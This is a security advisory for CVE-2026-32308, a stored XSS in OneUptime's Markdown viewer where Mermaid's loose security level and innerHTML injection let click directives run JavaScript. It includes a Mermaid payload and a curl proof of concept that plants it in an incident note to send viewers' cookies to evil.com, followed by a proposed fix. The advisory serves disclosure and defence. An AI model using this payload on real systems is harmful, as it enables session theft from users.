CVE-2026-32308

Description

### Summary The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. ### Details **Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:** ```typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... }); ``` The Mermaid documentation explicitly warns: `securityLevel: "loose"` allows click events and other interactive bindings in diagrams. The safe default is `"strict"` which strips all interactivity. **SVG injection via innerHTML — `MarkdownViewer.tsx:106`:** ```typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection } ``` After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: "loose"`, this allows event handlers embedded in the SVG to execute. **Mermaid XSS payload:** ```markdown ```mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" ```​ ``` With `securityLevel: "loose"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript. ### PoC ```bash # Authenticate TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"password123"}' \ | jq -r '.token') # Create an incident note with Mermaid XSS payload curl -s -X POST 'https://TARGET/api/incident-note' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECT_ID' \ -d '{ "data": { "incidentId": "INCIDENT_ID", "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```", "noteType": "RootCause" } }' # Any user viewing this incident note will have their cookies exfiltrated ``` ```bash # Verify the vulnerability in source code: # 1. securityLevel: "loose": grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx # Line 76: securityLevel: "loose" # 2. innerHTML injection: grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx # Line 106: containerRef.current.innerHTML = svg ``` ### Impact **Stored XSS in any markdown-rendered field.** Affects: 1. **Incident notes/descriptions** — viewed by on-call engineers during incidents 2. **Status page announcements** — viewed by public visitors 3. **Monitor descriptions** — viewed by team members 4. **Any markdown field** — the MarkdownViewer component is shared across the UI The "loose" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application. ### Proposed Fix ```typescript // 1. Change securityLevel to "strict" (default safe mode): mermaid.initialize({ securityLevel: "strict", // Strips all interactive bindings // ... }); // 2. Use DOMPurify on the SVG output before innerHTML injection: import DOMPurify from "dompurify"; if (containerRef.current) { containerRef.current.innerHTML = DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true, svgFilters: true }, ADD_TAGS: ['foreignObject'], }); } ```